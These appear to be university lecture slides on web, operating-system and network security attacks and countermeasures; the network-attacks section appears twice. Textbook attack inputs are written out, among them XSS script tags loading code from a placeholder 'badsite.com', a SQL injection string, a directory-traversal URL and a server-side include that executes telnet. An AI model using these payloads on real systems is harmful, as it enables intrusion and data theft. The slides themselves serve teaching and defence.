    - The attacker can get all the images a real site uses; fake sites can look convincing.
- Fake Code

Protecting Web Sites Against Change

- Encryption, is often inappropriate: Distributing decryption a keys to all users defeats the effectiveness of encryption.

1. Integrity checksums can detect altered content on a web site.
2. A partial approach to reducing the risk of false code is **signed code**. A digital signature can vouch for the authenticity of a program, update, or dataset. The problem is, trusting the legitimacy of the signer.

Malicious Web Content

- Substitute Content on a Real Web Site
- Web Bug
- Clickjacking
- Drive-By Download

Substitute Content on a Real Web Site

- Attackers could replace parts of a web site and do so in a way that did not attract attention.

Download important things to read:

Studies of low-order even primes	pdf file
How to cheat at solitaire	pdf file
Making anti-gravity paint and what to store it in	pdf file
101 things to do with string	pdf file

Download my infected version of Adobe Reader here

Web Bug

- When a remote file is fetched for inclusion, the request also sends the IP address of the requester, the type of browser, and the content of any **cookies** stored for the requested site.
- A web bug is a tiny image, as small as 1 pixel by 1 pixel, an image so small it will not normally be seen. It is loaded and processed the same as a larger picture.
- Web bugs are also called as clear GIF, 1x1 GIF, or tracking bug.
- Part of the processing is to notify the bug's owner.
- Tiny action points called web bugs can report **page traversal patterns** to central collecting points, compromising privacy.
- Web bugs can also be used in email with images.

Clickjacking

- Tricking a user into clicking a link by disguising what the link points to.
- A clickjacking attack succeeds because of what the attacker can do:
  - choose and load a page with a confirmation box that commits the user to an action with one or a small number of mouse clicks
  - change the image's coloring to transparent
  - move the image to any position on the screen
  - superimpose a benign image underneath the malicious with what looks like a button directly under the real button for the action the attacker wants
  - induce the victim to click what seems to be a button on the benign image

Drive-By Download

- Drive-by download: downloading and installing code other than what a user expects.
- Like the clickjacking attack, a drive-by download is an attack in which code is downloaded, installed, and executed on a computer without the user's permission and usually without the user's knowledge.
- Example

Protecting Against Malicious Web Pages

- Access control accomplishes separation, keeping two classes of things apart. Least privilege, user training, and visibility.
- Responsibility of the web page owner: Ensure that code on a web page is good, clean, or suitable.
    - The likelihood of that happening is small, for two reasons.

    1. Code on web pages can come from many sources; Website owners focus on site development, not maintenance.
    2. Good (secure, safe) code is hard to define and enforce.

- Planning and preparedness for after-the-infection recovery is also a necessary strategy.

Obtaining User or Website Data

- Attacks that seek to extract sensitive information: single users or websites. Websites or web servers are chosen more often.
- These incidents try to trick a database management system into revealing otherwise controlled information.
- Scripting or injection attacks. Attacker may craft and pass SQL commands to the server through the web interface.

- Cross-Site Scripting (CSS or XSS)
- SQL Injection
- Dot-Dot-Slash
- Server-Side Include

Injection Attacks

Cross-Site Scripting

- Executable code (**script**) is included in **the interaction between client and server** and executed by the client or server.

https://www.google.com/search?q=cross+site+scripting&rlz=1C1NHXL_enIN700IN705&oq=cross+site+&aqs=chrome.0.0l3j69i57j0l4.9386j0j7&sourceid=chrome&ie=UTF-8

- Sometimes the interaction is not directly between the user's browser and one web site. Many web sites offer access to outside services without leaving the site.
- Communications between client and server must all be represented in plain text, because the web page protocol (http) uses only plain text. To render any special actions, the http string contains embedded scripts.
- Access to user's data a threat. How?

http://www.google.com/search?name=<SCRIPT_SRC=http://badsite.com/xss.js></SCRIPT>
&q=cross+site+scripting&ie=utf-8&oe=utf-8
&aq=t&rls=org.mozilla:en-US:official &client=firefox-a&lr=lang_en

Persistent XSS Attack

- Sometimes a volley from the client will contain a script for the server to execute.
- The attack can also harm the server side if the server interprets and executes the script or saves the script and returns it to other clients (who would then execute the script). Such behavior is called a persistent cross-site scripting attack.
- Example: could occur in a blog or stream of comments.

```
Cool<br>story.<br>KCTVBigFan<script
src=http://badsite.com/xss.js></script>
```

Cool
story.
KCTVBigFan

SQL Injection

- Operates by inserting code into an exchange between a client and database server.
- SQL Queries, DBMS.
- These queries are composed through a browser and transmitted to the database server supporting the web page.
- The user can inject a string into this interchange, and can force the DBMS to return a set of records.

SQL Injection: Example

- A bank allows the user to download all transactions.
- The application identifies and authenticates the user.
- It might compose a query for the user and submit that query to the DBMS.

```
QUERY = “SELECT * FROM trans WHERE acct=’”+ acctNum + ”’;”
```

- The query is encoded within a long URL string.

```
http://www.mybank.com?QUERY=SELECT%20*%20FROM%20trans%20WHERE%20acct=‘2468’
```

- If the user can inject a string into this interchange, the user can force the DBMS to return a set of records.
- The DBMS evaluates the WHERE clause as a logical expression. The user may enter the account number as “‘2468’ OR ‘1’=‘1’”.

```
QUERY = “SELECT * FROM trans HERE acct=‘2468’ OR ‘1’=‘1’”
```

Dot-Dot-Slash

- Create a fence confining the web-server application such that the server application cannot escape from its area and access other potentially dangerous system areas. The server begins in a particular directory subtree, and everything the server needs is in that same subtree.
- In both Unix and Windows, '..' is the directory indicator for "predecessor", and '../..' is the grandparent of the current location.
- Someone who can enter file names can travel back up the directory tree one .. at a time.
- Example: passing the following URL causes the server to return the requested file, autoexec.nt, enabling an attacker to modify or delete it.

http://yoursite.com/webhits.htw?CiWebHits&File=../../../../../winnt/system32/autoexec.nt

Dot-Dot-Slash: Countermeasures

- Web-server code should always run in a constrained environment.
- The web server should never have editors, xterm and Telnet programs, or even most system utilities loaded.
- No other executable programs will help the attacker use the web server's computer and operating system to extend the attack.
- What about naïve web application programmers?

Server-Side Include

- Web pages can be organized to invoke a particular function automatically.
- Example: “Contact us” Forms in Websites.
- One of the server-side include commands is exec, to execute an arbitrary file on the server.

```
<!—#exec cmd=”/usr/bin/telnet &”—>
```

- Opens a Telnet session from the server running with the privileges of the server.
- Imagine the catastrophe if the attacker chooses to execute even simple commands like: chmod, sh, or cat.

Website Data: A User’s Problem, Too

- Why?
- Some website data affect users significantly.
- Example?

Foiling Data Attacks

- A programmer cannot assume that input is well formed.
- An input preprocessor could watch for and filter out specific inappropriate string forms, such as < and > in data expected to contain only letters and numbers.
- Access control on the part of backend servers that might receive and execute these data attacks.
- Example?
- In general, however, blocking the malicious effect of a cross-site scripting attack is a challenge.

Email Attacks

- Fake Emails
- Spam Mails: Volume of spam
- Malicious Payload
- Fake (Inaccurate) Email Header Data
- Phishing

Summary

Book

- Pfleeger C. P., Pfleeger S. L. and Margulies J., Security in Computing (5e), Prentice Hall, 2015, Chapter 4.

Attacks on the OS

ICT 3156

Security in Operating Systems: Introduction

- The operating system is the fundamental controller of all system resources—which makes it a primary target of attack, as well.
- The malicious code files are stored somewhere, usually on disk or in memory.
- The operating system is the first line of defense against all sorts of unwanted behavior.
- Tasks:
    - It protects one user from another.
    - Ensures that critical areas of memory or storage are not overwritten by unauthorized processes.
    - Performs identification and authentication of people and remote operations.
    - Ensures fair sharing of critical hardware resources.

Security in Operating Systems: Introduction

- When the operating system initializes at system boot time, it initiates tasks in an orderly sequence:
    - Primitive functions and device drivers
    - Process controllers
    - File and memory management routines
    - the user interface
- To establish security, early tasks establish a firm defense to constrain later tasks.
- Antivirus applications are usually initiated late because they are add-ons to the operating system. Prevention software can protect only if it is active before the malicious code.
- What if the malware embeds itself in the operating system, such that it is active before operating system components that might detect or block it? Or what if the malware can circumvent or take over other parts of the operating system?

Background: Operating System Structure

- Operating systems are not just for conventional computers.
- Security Features of Ordinary Operating Systems.

Security Features of Ordinary Operating Systems

Enforced sharing (integrity, consistency)	Table lookup, combined with integrity controls
Inter-process communication and synchronization	Access control tables
Protection of critical operating system data	Encryption, hardware control, isolation, and others.
Guaranteed fair service.	Hardware clocks combine with scheduling disciplines to provide fairness. Hardware facilities and data tables combine to provide control.
Memory protection	Hardware mechanisms, such as paging or segmentation
File and I/O device access control	Table lookup
Allocation and access control to general objects	Table lookup
User authentication	Password Comparison or other such methods.

Protected Objects

- Memory
- Sharable I/O devices, such as disks
- Serially reusable I/O devices, such as printers and tape drives
- Sharable programs and sub-procedures
- Networks
- Sharable data

Operating System Design to Protect Objects

Functions arranged from most critical (at the bottom) to least critical (at the top).

The functions are grouped in three categories:

1. Security kernel
2. Operating system kernel
3. Other operating system functions

Operating System Design to Protect Objects

- The critical functions of controlling hardware and enforcing security are said to be in lower or inner layers, and the less critical functions in the upper or outer layers.

Operating System Design to Protect Objects

- From a security standpoint these modules come from different sources, not all trustworthy, and must all integrate successfully.
- All these pieces are maintained separately, so any module can change at any time, but such changes risk incompatibility.

Operating System Design for Self-Protection

- OS must protect itself not just from errant or malicious user programs but also from harm from incorporated modules, drivers, and add-ons, and with limited knowledge of which ones to trust and for what capabilities.
- The complexity of timing, coordination, and hand-offs in operating system design and **activation** is enormous.

OS Tools to Implement Security Functions

- ACL
- Audit Logs
- Virtualization
- Hypervisor
- Sand-box
- Honey pot
- Separation and Sharing
- Hardware Protection of Memory

A subject is permitted to access an object in a particular mode, and only such authorized accesses are allowed.

A log of which subject accessed which object when and in what manner. Auditing is a tool for **reacting after a security breach**, not for preventing one.

Presenting a user the appearance of a system with only the resources the user is entitled to use.

OS Tools to Implement Security Functions

- ACL
- Audit Logs
- Virtualization
- Hypervisor
- Sand-box
- Honey pot
- Separation and Sharing
- Hardware Protection of Memory

It receives all user access requests, directly passes along those that apply to real resources the user is allowed to access, and redirects other requests to the virtualized resources.

An environment from which a process can have only limited, controlled impact on outside resources

System to lure an attacker into a faux environment that can be both controlled and monitored.

OS Tools to Implement Security Functions

- ACL
- Audit Logs
- Virtualization
- Hypervisor
- Sand-box
- Honey pot
- Hardware Protection of Memory
- Separation and Sharing

Memory protection implements both separation and sharing.

Keeping one user's objects separate from other users.
Separation occurs by space (physical), time (temporal), access control (logical), or cryptography.

Separation In An Operating System

- Separation in an operating system can occur in several ways:
- Physical separation, by which different processes use different physical objects, such as separate printers for output requiring different levels of security.
- Temporal separation, by which processes having different security requirements are executed at different times.
- Logical separation, by which users operate under the illusion that no other processes exist, as when an operating system constrains a program's accesses so that the program cannot access objects outside its permitted domain.
- Cryptographic separation, by which processes conceal their data and computations in such a way that they are unintelligible to outside processes.

Security in the Design of Operating Systems

- The operating system opens many points to which code can later attach as pieces are loaded during the boot process; if one of these pieces is not present, the malicious code can attach instead.
- The more complex the software, the more possibilities for unwanted software introduction.
- Simple, modular, loosely coupled designs present fewer opportunities to the attacker.

Security in the Design of Operating Systems

1. **Layered Design**

- A nontrivial operating system consists of at least four levels:
    - Hardware
    - Kernel
    - Operating System
    - User
- Each of these layers can include sublayers.
- The trustworthiness and access rights of a process can be judged by the process's proximity to the center: The more trusted processes are closer to the center or bottom.

Security in the Design of Operating Systems

1. **Layered Design**

- Of the four ways to implement separations in OS, logical separation is most applicable to layered design.
- This means a fundamental (inner or lower) part of the OS must control the accesses of all outer or higher layers to enforce separation.
- Some lower-level layers present some or all of their functionality to higher levels, but each layer properly encapsulates those things below itself. **What does this remind you of?**
- One can "peel off" each layer and still have a logically complete system with less functionality.
- Layering presents a good example of how to trade off and balance design characteristics.
- Another justification for layering is damage control.

Security in the Design of Operating Systems

1. **Layered Design**

- Hierarchical structuring has two benefits:
  - Permits identification of the most critical parts, which can then be analyzed intensely for correctness, so the number of problems should be smaller.
  - Isolation limits effects of problems to the hierarchical levels at and above the point of the problem, so the harmful effects of many problems should be confined.
- **Layering ensures that a security problem affects only less sensitive layers.**

Security in the Design of Operating Systems

2. Kernelized Design

- A kernel is the part of an operating system that performs the lowest-level functions.
- A security kernel is responsible for enforcing the security mechanisms of the entire operating system. Typically, the operating system is designed so that the security kernel is contained within the _____ .

Security in the Design of Operating Systems

2. Kernelized Design

Good design reasons why security functions may be isolated in a security kernel.

- Coverage. Every access to a protected object must pass through the security kernel.
- Separation.
- Unity. All security functions are performed by a single set of code, so it is easier to trace the cause of any problems that arise with these functions.
- Modifiability. Changes to the security mechanisms are easier to make and easier to test
- Compactness. Because it performs only security functions, the security kernel is likely to be relatively small.
- Verifiability. Being relatively small, the security kernel can be analyzed rigorously.

Reference Monitor

- The most important part of a security kernel. Controls accesses to objects.
- Separates subjects and objects, enforcing that a subject can access only those objects expressly allowed by security policy.
- A reference monitor is not necessarily a single piece of code; rather, it is the collection of access controls for devices, files, memory, inter-process communication, and other kinds of objects.

Correctness and Completeness

- **Correctness** implies that because an operating system controls the interaction between subjects and objects, security must be considered in **every aspect of its design**.
- The OS design must include definitions of which objects will be protected in what ways, what subjects will have access and at what levels, and so on.
- There must be a clear mapping from the security requirements to the design so that all developers can see how the two relate.

- **Completeness** requires that security functionality be included in all places necessary.
- Security seldom succeeds as an add-on; it must be part of the initial philosophy, requirements, design, and implementation.
- **Security enforcement must be correct and complete.**

Secure Design Principles

- Least privilege
- Economy of mechanism
- Open design
- Complete mediation
- Permission based
- Separation of privilege
- Least common mechanism
- Ease of use

These principles are articulated well by Jerome Saltzer and Michael Schroeder.

Computer Security: Arts and Science by Matt Bishop

Rootkit

- **Root**: most privileged subject (in a Unix system).
- It is the name of the entity (subject) established to own and run all primitive system tasks.
- **Rootkit**: Tool or script that obtains privileges of root.
- A rootkit is a piece of malicious code that goes to great lengths not to be discovered or, if discovered and removed, to reestablish itself whenever possible.
- Two conditions that help avoid discovery:
    - Rootkit code executing before other programs that might block rootkit execution.
    - The rootkit not being detected as a file or process.
- Being in control early in the system boot cycle would allow you to control the other system defenses instead of their controlling you.

Phone Rootkit

- The OS of smartphones have rich functionality.
- The complexity of the operating system led to more opportunities for attack and, ultimately, a rootkit.
- What a phone rootkit could do?
    - Could turn on a phone's microphone without the owner's knowing it happened.
    - Respond to a text query by relaying the phone's location as furnished by the GPS receiver.
    - Could turn on power-hungry capabilities—such as the Bluetooth radio and GPS receiver—to quickly drain the battery.
- The worst part of these three attacks is that they are effectively undetectable.

Rootkit Evades Detection

- Malicious code are of a certain name, size, location, or form, but that same predictability makes them targets for tools that search for malicious code.
- Antivirus tools call built-in functions through an API to get **information**.
    - Query the disk, determine the disk format, identify files and where they are stored, find the file names and properties from an index table, or structure the results for use and display.

```
 Directory of C:\WINNT\APPS

01-09-14  13:34         <DIR>          .
01-09-14  13:34         <DIR>          ..
24-07-12  15:00                 82,944 CLOCK.AVI
24-07-12  15:00                 17,062 Coffee Bean.bmp
24-07-12  15:00                     80 EXPLORER.SCF
06-08-14  15:00                256,192 mal_code.exe
22-08-08  01:00                373,744 PTDOS.EXE
21-02-08  01:00                    766 PTDOS.ICO
19-06-10  15:05                 73,488 regedit.exe
24-07-12  15:00                 35,600 TASKMAN.EXE
14-10-12  17:23                126,976 UNINST32.EXE
               9 File(s)        966,852 bytes
               2 Dir(s)  13,853,132,800 bytes free
```

```
 Directory of C:\WINNT\APPS

01-09-14  13:34         <DIR>          .
01-09-14  13:34         <DIR>          ..
24-07-12  15:00                 82,944 CLOCK.AVI
24-07-12  15:00                 17,062 Coffee Bean.bmp
24-07-12  15:00                     80 EXPLORER.SCF
22-08-08  01:00                373,744 PTDOS.EXE
21-02-08  01:00                    766 PTDOS.ICO
19-06-10  15:05                 73,488 regedit.exe
24-07-12  15:00                 35,600 TASKMAN.EXE
14-10-12  17:23                126,976 UNINST32.EXE
               8 File(s)        710,660 bytes
               2 Dir(s)  13,853,472,768 bytes free
```

Rootkit Evades Detection

- The utility to present a file listing uses primitives such as FindNextFile() and NTQueryDirectoryObject.
- To remain invisible, the **rootkit intercepts these calls** so that if the result from FindNextFile() points to mal_code.exe, the rootkit skips that file and executes FindNextFile() again to find the next file after mal_code.exe.
- The higher-level utility to produce the listing keeps the **running total** of file sizes for the files of which it receives information, so the total in the listing correctly reports all files except mal_code.exe.

Rootkit Operates Unchecked

- Because they want to remain undiscovered, rootkits can be difficult to detect and eradicate, or even to count.
- Rootkits can also interfere with computer maintenance because their functionality can become intertwined with other operating system functions being modified.
- Rootkit Revealer.

Rootkit Kills Kernel Modification

- In February 2010, Microsoft issued its usual monthly set of OS updates, including one patch called MS10-015, rated “important.” The patch was to fix one previously publicized vulnerability and one unpublicized one.
- Some users who installed the patch suddenly found that their computers went into an unending loop of rebooting.
- Apparently on system startup the TDL-3 or Alureon rootkit built a table, using the fixed addresses of specific Windows kernel functions.
- In the Microsoft patch, these addresses were changed, so when TDL-3 received control and tried to invoke a (real) kernel function, it transferred to the wrong address and the system shut down with what is known as the “blue screen of death”.

Sony XCP Rootkit

- Installed when a Sony music CD was loaded and played.
- The XCP rootkit was installed from the Sony music CD to prevent a user from copying the tunes, while allowing the CD to be played as audio.
- To do this, it includes its own special music player that is allowed to play the CD.
- It intercepts any functional call to read from the CD drive.
- If the call originated from a music player for a Sony CD, XCP redirects the result to Sony's special music player.
- If the call was from any other application for a Sony CD, the rootkit scrambled the result so that it was meaningless as music and passed that uninterpretable result to the calling application.
- The rootkit has to install itself when the CD is first inserted in the PC's drive. ??

Sony XCP: Patching the Penetration

- Sony decided to release an uninstaller for the XCP rootkit.
- Fixing one fault often causes a failure somewhere else.
- Sony’s uninstaller itself opened serious security holes.
- It was presented as a web page that downloaded and executed the uninstaller.
- The web page would run any code from any source, not just the intended uninstaller.
- The code to perform downloads and installations remained on the system even after XCP was uninstalled, meaning that the vulnerability persisted.

Book

- Pfleeger C. P., Pfleeger S. L. and Margulies J., Security in Computing (5e), Prentice Hall, 2015, Chapter 5.

Network Security Attacks

ICT 3156

Four Potential Types Of Harm

- Interception, or unauthorized viewing
- Modification, or unauthorized change
- Fabrication, or unauthorized creation
- Interruption, or preventing authorized access

Eavesdropping or wiretapping

Integrity failures

Denial of Service

Interception: Eavesdropping and Wiretapping

- Concept of a security perimeter.
- Outside your zone, your ability to secure your data is limited.
- Wiretapping is the name given to data interception, often covert and unauthorized.
- Even a backdoor intended only for court-authorized **wiretaps** can be misused.
- Why it happens?
- Users generally have little control over the routing of a signal.
- Encryption is the strongest and most commonly used countermeasure against interception, although physical security, dedicated lines, and controlled routing have their roles, as well.

Security Perimeters

Interception: Eavesdropping and Wiretapping

- What Makes a Network Vulnerable to Interception?
- Anonymity
- Many Points of Attack.
    - When a file is stored in a network host remote from the user, the data or the file itself may pass through many hosts to get to the user. The user must depend on the access control mechanisms in each of these systems.
- Sharing
- System Complexity
- Unknown Perimeter
- Unknown Path

Interception: Eavesdropping and Wiretapping

Unknown Perimeter

One host may be a node on two different networks, so resources on one network are accessible to the users of the other network as well.

Although wide accessibility is an advantage, this unknown or uncontrolled group of possibly malicious users is a security disadvantage.

A similar problem occurs when new hosts can be added to the network. Every network node must be able to react to the possible presence of new, untrustable hosts.

Modification, Fabrication: Data Corruption

- Threat: communication will be changed during transmission.
- Three attacks : Modification, Insertion, and Replay.
- Data corruption can be intentional or unintentional, from a malicious or non-malicious source, and directed or accidental.
- When can it occur?
- Data corruption can occur during data entry, in storage, during use and computation, in transit, and on output and retrieval.

Modification, Fabrication: Data Corruption

- Sequencing
- Substitution
- Insertion
- Replay

Modification, Fabrication: Data Corruption

- **Sequencing**
  - Sequencing attack or problem involves permuting the order of data.
  - Occurs when a later fragment of a data stream arrives before a previous one.
- **Insertion**
  - In an insertion attack, data values are inserted into a stream.
  - An attacker does not even need to break an encryption scheme in order to insert authentic-seeming data.??

Modification, Fabrication: Data Corruption

- **Substitution**
  - A substitution attack is the replacement of one piece of a data stream with another.
  - Substitution errors (non-malicious) can occur with adjacent cables or multiplexed parallel communications in a network; occasionally, interference, called crosstalk allows data to flow into an adjacent path.
  - A malicious attacker can perform a substitution attack by splicing a piece from one communication into another.
  - The obvious countermeasure against substitution attacks is encryption or creating an integrity check. How it benefits?
  - Not all substitution attacks are malicious.

Modification, Fabrication: Data Corruption

- **Replay**
  - In a replay attack, legitimate data are intercepted and reused, generally without modification.
  - A replay attack differs from both a wiretapping attack and a man-in-the-middle attack.
  - The interceptor need not know the content or format of a transmission.
  - Can succeed on encrypted data without altering or breaking the encryption.

Modification, Fabrication: Data Corruption

- **Replay**
  - Can also be used with authentication credentials.
  - If the attacker can interject the encrypted password into the communications line, then the attacker can impersonate a valid user without knowing the password.
  - Cookies.
  - Physical Replay. CCTV, Biometrics, and so on.
  - Replay attacks can circumvent ordinary identification, authentication, and confidentiality defenses.
  - Thus they allow the attacker to initiate and carry on an interchange under the guise of the victim.
  - Sequence numbers help counter replay attacks.

Interruption: Loss of Service

- Can be malicious or non-malicious, intentional or accidental.
- Unlike confidentiality and integrity failures, however, denial of service is not binary.
- In mesh architecture of the Internet, redundancy and fault tolerance were important characteristics, and the robustness remains.
- However, the final connection between a host and the larger network infrastructure, is a unique pathway, so any failure there isolates the host.
- Network design incorporates redundancy to counter hardware failures.
- What are some of the factors that leads to loss of service?
- Routing, excessive demand, component failure and so on.

Interruption: Loss of Service

- **Routing**
  - One piece of bad information can poison the data pool of many routers, thus disrupting flow for many paths.
  - Routing supports efficient resource use and quality of service. Misused, it can cause denial of service.
- **Excessive Demand**
  - Motivation: Network capacity is enormous but finite, and capacity of any particular link or component is much smaller.
  - Denial-of-service attacks usually try to flood a victim with excessive demand.
- **Component Failure**
  - Being hardware devices, components fail; these failures tend to be sporadic, individual, unpredictable, and non-malicious.

Port Scanning

- Scanning is often used as a first step in an attack, a probe, to determine what further attacks might succeed.
- Why is it essential before an attack?
    - The problem for the attacker is to know which attacks to address to which machines.
    - Sending an attack against a machine that is not vulnerable is time consuming.
    - Can make the attacker stand out or become visible and identifiable.
- A port scan maps the topology and hardware and software components of a network segment.
- Port Scanning Tools. Secure Scanner by Cisco, Nmap, and so on.

Port Scanning

- Port scanning tells an attacker three things:
  - which standard ports or services are running and responding on the target system,
  - what operating system is installed on the target system, and
  - what applications and versions of applications are present.
- It can be obtained quietly, anonymously, without identification or authentication, drawing little or no attention to the scan.
- Knowing that a particular host runs a given version of an OS may make the attacker aware about the vulnerabilities associated with that version.
- Thus, a port scan can be a first step in a more serious attack.
- Another thing an attacker can learn is **connectivity**.

Port Scanning

- A glimpse of the plethora of information that can be learnt:
    - How many hosts there are?
    - What their IP addresses are?
    - What their physical (MAC) addresses are?
    - What brand each is?
    - What operating system each runs, and what version?
    - What ports respond to service requests?
    - What service applications respond, and what program and version they are running?
    - How long responses took (which reveals speed of various network connections and thus may indicate the design of the network)?

Book

- Pfleeger C. P., Pfleeger S. L. and Margulies J., Security in Computing (5e), Prentice Hall, 2015, Chapter 6.

Network Security Attacks

ICT 3156

Four Potential Types Of Harm

- Interception, or unauthorized viewing
- Modification, or unauthorized change
- Fabrication, or unauthorized creation
- Interruption, or preventing authorized access

Eavesdropping or wiretapping

Integrity failures

Denial of Service

Interception: Eavesdropping and Wiretapping

- Concept of a security perimeter.
- Outside your zone, your ability to secure your data is limited.
- Wiretapping is the name given to data interception, often covert and unauthorized.
- Even a backdoor intended only for court-authorized **wiretaps** can be misused.
- Why it happens?
- Users generally have little control over the routing of a signal.
- Encryption is the strongest and most commonly used countermeasure against interception, although physical security, dedicated lines, and controlled routing have their roles, as well.

Security Perimeters

Interception: Eavesdropping and Wiretapping

- What Makes a Network Vulnerable to Interception?
- Anonymity
- Many Points of Attack.
    - When a file is stored in a network host remote from the user, the data or the file itself may pass through many hosts to get to the user. The user must depend on the access control mechanisms in each of these systems.
- Sharing
- System Complexity
- Unknown Perimeter
- Unknown Path

Interception: Eavesdropping and Wiretapping

Unknown Perimeter

One host may be a node on two different networks, so resources on one network are accessible to the users of the other network as well.

Although wide accessibility is an advantage, this unknown or uncontrolled group of possibly malicious users is a security disadvantage.

A similar problem occurs when new hosts can be added to the network. Every network node must be able to react to the possible presence of new, untrustable hosts.

Modification, Fabrication: Data Corruption

- Threat: communication will be changed during transmission.
- Three attacks : Modification, Insertion, and Replay.
- Data corruption can be intentional or unintentional, from a malicious or non-malicious source, and directed or accidental.
- When can it occur?
- Data corruption can occur during data entry, in storage, during use and computation, in transit, and on output and retrieval.

Modification, Fabrication: Data Corruption

- Sequencing
- Substitution
- Insertion
- Replay

Modification, Fabrication: Data Corruption

- **Sequencing**
  - Sequencing attack or problem involves permuting the order of data.
  - Occurs when a later fragment of a data stream arrives before a previous one.
- **Insertion**
  - In an insertion attack, data values are inserted into a stream.
  - An attacker does not even need to break an encryption scheme in order to insert authentic-seeming data.??

Modification, Fabrication: Data Corruption

- **Substitution**
  - A substitution attack is the replacement of one piece of a data stream with another.
  - Substitution errors (non-malicious) can occur with adjacent cables or multiplexed parallel communications in a network; occasionally, interference, called crosstalk allows data to flow into an adjacent path.
  - A malicious attacker can perform a substitution attack by splicing a piece from one communication into another.
  - The obvious countermeasure against substitution attacks is encryption or creating an integrity check. How it benefits?
  - Not all substitution attacks are malicious.

Modification, Fabrication: Data Corruption

- **Replay**
  - In a replay attack, legitimate data are intercepted and reused, generally without modification.
  - A replay attack differs from both a wiretapping attack and a man-in-the-middle attack.
  - The interceptor need not know the content or format of a transmission.
  - Can succeed on encrypted data without altering or breaking the encryption.

Modification, Fabrication: Data Corruption

- **Replay**
  - Can also be used with authentication credentials.
  - If the attacker can interject the encrypted password into the communications line, then the attacker can impersonate a valid user without knowing the password.
  - Cookies.
  - Physical Replay. CCTV, Biometrics, and so on.
  - Replay attacks can circumvent ordinary identification, authentication, and confidentiality defenses.
  - Thus they allow the attacker to initiate and carry on an interchange under the guise of the victim.
  - Sequence numbers help counter replay attacks.

Interruption: Loss of Service

- Can be malicious or non-malicious, intentional or accidental.
- Unlike confidentiality and integrity failures, however, denial of service is not binary.
- In mesh architecture of the Internet, redundancy and fault tolerance were important characteristics, and the robustness remains.
- However, the final connection between a host and the larger network infrastructure, is a unique pathway, so any failure there isolates the host.
- Network design incorporates redundancy to counter hardware failures.
- What are some of the factors that leads to loss of service?
- Routing, excessive demand, component failure and so on.

Interruption: Loss of Service

- **Routing**
  - One piece of bad information can poison the data pool of many routers, thus disrupting flow for many paths.
  - Routing supports efficient resource use and quality of service. Misused, it can cause denial of service.
- **Excessive Demand**
  - Motivation: Network capacity is enormous but finite, and capacity of any particular link or component is much smaller.
  - Denial-of-service attacks usually try to flood a victim with excessive demand.
- **Component Failure**
  - Being hardware devices, components fail; these failures tend to be sporadic, individual, unpredictable, and non-malicious.

Port Scanning

- Scanning is often used as a first step in an attack, a probe, to determine what further attacks might succeed.
- Why is it essential before an attack?
    - The problem for the attacker is to know which attacks to address to which machines.
    - Sending an attack against a machine that is not vulnerable is time consuming.
    - Can make the attacker stand out or become visible and identifiable.
- A port scan maps the topology and hardware and software components of a network segment.
- Port Scanning Tools. Secure Scanner by Cisco, Nmap, and so on.

Port Scanning

- Port scanning tells an attacker three things:
  - which standard ports or services are running and responding on the target system,
  - what operating system is installed on the target system, and
  - what applications and versions of applications are present.
- It can be obtained quietly, anonymously, without identification or authentication, drawing little or no attention to the scan.
- Knowing that a particular host runs a given version of an OS may make the attacker aware about the vulnerabilities associated with that version.
- Thus, a port scan can be a first step in a more serious attack.
- Another thing an attacker can learn is **connectivity**.

Port Scanning

- A glimpse of the plethora of information that can be learnt:
    - How many hosts there are?
    - What their IP addresses are?
    - What their physical (MAC) addresses are?
    - What brand each is?
    - What operating system each runs, and what version?
    - What ports respond to service requests?
    - What service applications respond, and what program and version they are running?
    - How long responses took (which reveals speed of various network connections and thus may indicate the design of the network)?

Book

- Pfleeger C. P., Pfleeger S. L. and Margulies J., Security in Computing (5e), Prentice Hall, 2015, Chapter 6.

Security Countermeasures

ICT 3156

Road Map

- Cryptography in Network Security
    - Browser Encryption
    - Onion Routing
    - IP Security Protocol Suite (IPsec)
    - Virtual Private Networks
- Firewalls
- Intrusion Detection and Prevention Systems
- Network Management

Browser Encryption

- Browsers can encrypt data for protection during transmission.
- The browser and the server negotiate a common encryption key. What does this imply?
- Even if an attacker hijacks a session at the TCP or IP protocol level, the attacker, not having the proper key, cannot join the application data exchange.
- SSH Encryption
- SSL and TLS Encryption
- Cipher Suite
- SSL Session

SSH Encryption

- SSH provides an authenticated and encrypted path to the shell or operating system command interpreter.
- SSH protects against spoofing attacks and modification of data in communication.
- The SSH protocol involves negotiation between local and remote sites for encryption algorithm (for example, DES or AES) and authentication (including public key and Kerberos).
- The protocol does have a known vulnerability.

SSL and TLS Encryption

- Secure Sockets Layer (SSL) protocol
    - Originally designed by Netscape in the mid-1990s to protect communication between a web browser and server. SSL 1.0, SSL 2.0, SSL 3.0 .
- Transport Layer Security (TLS) : IETF upgraded SSL 3.0 and named the upgrade TLS.
- SSL is implemented at level 4 of OSI model.
- SSL operates between applications (such as browsers) and the TCP/IP protocols.
- It provides:
    - Server authentication.
    - Optional client authentication.
    - Encrypted communication channel between client and server.

Cipher Suite

- Client and server negotiate **cipher suite**, for authentication, session encryption, and hashing.
- The first to open an interaction states its preferred algorithms, and the second party responds with the highest one on that list it can handle.
- When client and server begin an SSL session, the server sends a set of records listing the cipher suite identifiers it can use; the client responds with its preferred selection from that set.
- IANA globally coordinates the **cipher suites**. What other things does it coordinate?
- The SSL protocol is simple but effective, and it is the most widely used secure communication protocol on the Internet.

Cipher Suite

- MD5 has a flaw.
- Researchers were able to forge a seemingly valid certificate for use with SSL.
- Plaintext Injection attack.

Cipher Suite Identifier	Algorithms Used
TLS_NULL_WITH_NULL_NULL	No authentication, no encryption, no hash function
TLS_RSA_WITH_NULL_MD5	RSA authentication, no encryption, MD5 hash function
TLS_RSA_EXPORT_WITH_RC4_40_MD5	RSA authentication with limited key length, RC4 encryption with a 40-bit key, MD5 hash function
TLS_RSA_WITH_3DES_EDE_CBC_SHA	RSA authentication, triple DES encryption, SHA-1 hash function
TLS_RSA_WITH_AES_128_CBC_SHA	RSA authentication, AES with a 128-bit key encryption, SHA-1 hash function
TLS_RSA_WITH_AES_256_CBC_SHA	RSA authentication, AES with a 256-bit key encryption, SHA-1 hash function
TLS_RSA_WITH_AES_128_CBC_SHA256	RSA authentication, AES with a 128-bit key encryption, SHA-256 hash function
TLS_RSA_WITH_AES_256_CBC_SHA256	RSA authentication, AES with a 256-bit key encryption, SHA-256 hash function
TLS_DH_DSS_WITH_3DES_EDE_CBC_SHA	Diffie–Hellman digital signature standard, triple DES encryption, SHA-1 hash function
TLS_RSA_WITH_CAMELLIA_256_CBC_SHA http://www.iana.org/go/rfc5932	RSA digital signature, Camellia encryption with a 256-bit key, SHA-1 hash function
